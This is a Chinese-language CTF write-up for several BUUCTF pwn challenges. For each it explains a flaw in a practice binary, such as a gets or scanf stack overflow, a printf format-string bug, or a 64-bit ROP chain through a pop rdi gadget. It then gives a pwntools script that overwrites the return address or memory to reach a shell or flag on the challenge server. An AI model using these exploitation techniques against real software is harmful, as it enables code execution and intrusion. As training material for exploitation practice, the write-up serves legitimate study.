BUUCTF[PWN]
題目:warmup_csaw_2016
- 地址:warmup_csaw_2016
- ida打開,進main函數:
- gets函數的棧溢出:給出了sub_40060D函數的地址
- 直接,溢出到sub_40060D的地址即可:
from pwn import *p = remote('node5.buuoj.cn',28462)
payload = b'a'*(64+8)+p64(0x40060d)
p.sendline(payload)
p.interactive()
題目:pwn1_sctf_2016
- 地址:pwn1_sctf_2016
- ida打開進入vuln函數:
- 先找后門函數:get_flag
- 雖然說有fgets函數,但是限制了長度為32,但是看棧中 返回地址距離 s有 0x3c+4 ,不足以溢出到返回值:
- 重新來看一下vuln函數的邏輯找突破口:可以將輸入的 I 替換 為 you ,相當于將一位變成了三位,再計算一下 0x3c+4=3*21+1 ,所以我們要輸入21個I外加另外任意一個字符,即可再字符串替換后溢出到返回值的位置。
- 攻擊腳本如下:
from pwn import *p = remote('node5.buuoj.cn',25670)payload = b'I'*(21)+b'a'+p64(0x8048F0D)
p.sendline(payload)
p.interactive()
題目:jarvisoj_level0
- 地址:jarvisoj_level0
- 依舊ida打開,進入到vulnerable_function函數:buf只有128,但是輸入有0x200,必有溢出。
- 找到后門函數:callsystem
- 棧中的偏移為 128+8:
- 解題腳本:
from pwn import *p = remote('node5.buuoj.cn',27519)payload = b'I'*(128+8)+p64(0x400596)
p.sendline(payload)
p.interactive()
題目:get_started_3dsctf_2016
- 進main函數:程序提供了后門溢出函數gets,距離返回值只有56。
- 看后門函數get_flag:對輸入進行一個判斷,在棧上可以看到數據的位置,在棧溢出時可以直接寫道棧上。
- 腳本如下:
from pwn import *p = remote('node5.buuoj.cn',27248)door=0x80489A0
return_exit=0x804E6A0payload = b'a'*(56)+p32(door)+p32(return_exit)+p32(0x308CD64F)+p32(0x195719D1)p.sendline(payload)
p.interactive()
- 題目中get_flag函數退出時需要提供一個 合適的返回值 (exit函數的地址),保證程序正常退出,否則get_flag函數無法正常退出,輸入在使用putchar輸入在 緩存區中的flag 會因為程序的異常崩潰無法輸出到終端上。
bjdctf_2020_babystack
- 進入main函數:簡單的棧溢出,讓我們輸入數據的長度,當然越大越好。
- 再看一眼main的棧,和后門函數:
- 攻擊腳本:
from pwn import *p = remote('node5.buuoj.cn',27064)p.recvuntil(b"[+]Please input the length of your name:")
p.sendline(b'50')door=0x4006E6p.recvuntil(b"What's u name?")payload = b'a'*(12+12)+p64(door+1)p.sendline(payload)
p.interactive()
[第五空間2019 決賽]PWN5
- 進入main函數:read函數指定了讀取的大小,無法進行棧溢出,但是觀察到 printf(buf),存在格式化字符串漏洞。
- 利用格式化字符串可以阿將 dword_804C044處的值進行修改,改為我們想要的輸入的值,來達到使if條件判斷通過的目的,dword_804C044的地址為 0804C044 ,使用%n修改指定地址處的值時,需要確定我們寫入數據的偏移,這樣使用%n才能指定到相應的地址。
-
先使用 **AAAA%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p **來顯示輸入的數據的偏移:
-
可以看到輸入的字符串偏移為 10,所以輸入地址0804C044后需要將棧中偏移為10的數值(0804C044)所指向的地址處的值進行修改。
-
腳本如下,最后輸入的passwd會進入atoi函數,這函數將 字符串轉 化為對應的 數字:
from pwn import *p = remote('node5.buuoj.cn',27105) p.recvuntil(b"your name:")payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)+b'%10$n%11$n%12$n%13$n' p.sendline(payload)p.recvuntil(b"your passwd:")payload = str(0x10101010) p.sendline(payload.encode()) p.interactive()
[HarekazeCTF2019]baby_rop
- checksec檢查后,時64位程序,ida打開進入main函數: __isoc99_scanf函數使用 %s,存在棧溢出 。
- 沒有現成的system(“/bin/sh”),需要手動構造:存在 system函數 和 /bin/sh 字符串,直接使用system給其傳參即可,但是注意這是64位的程序, 前6個參數傳遞依靠寄存器。
-
system函數需要一個參數,直接使用rdi進行傳參,但是棧溢出的main函數只有一個ret,所以需要找到程序中的 pop rdi;ret指令的地址,直接使用 **ROPgadget --binary babyrop --only “pop|ret”**指令查找程序中可能出現的指令組合:
-
可以看到在 0x400683指令處存在 pop rdi ; ret組合(即先執行pop rdi 再執行ret),這使得可以繼續改變rip的值,跳轉到后門函數system的地址處。
-
腳本如下:
from pwn import *p = remote('node5.buuoj.cn',29873) #p.recvuntil(b"What's your name?") sh_addr=0x601048 rdi_addr=0x400683 door=0x400490 ret=0x400479 payload = b'a'*(16+8)+p64(rdi_addr)+p64(sh_addr)+p64(door) p.sendline(payload) p.interactive()
-
拿到shell后沒有看到flag,使用 find -name flag 查找flag文件的路徑,再顯示:
-
拿到shell后沒有看到flag,使用 find -name flag 查找flag文件的路徑,再顯示:[外鏈圖片轉存中…(img-NLt6ELLi-1715433475139)]
-
幣了吧@~@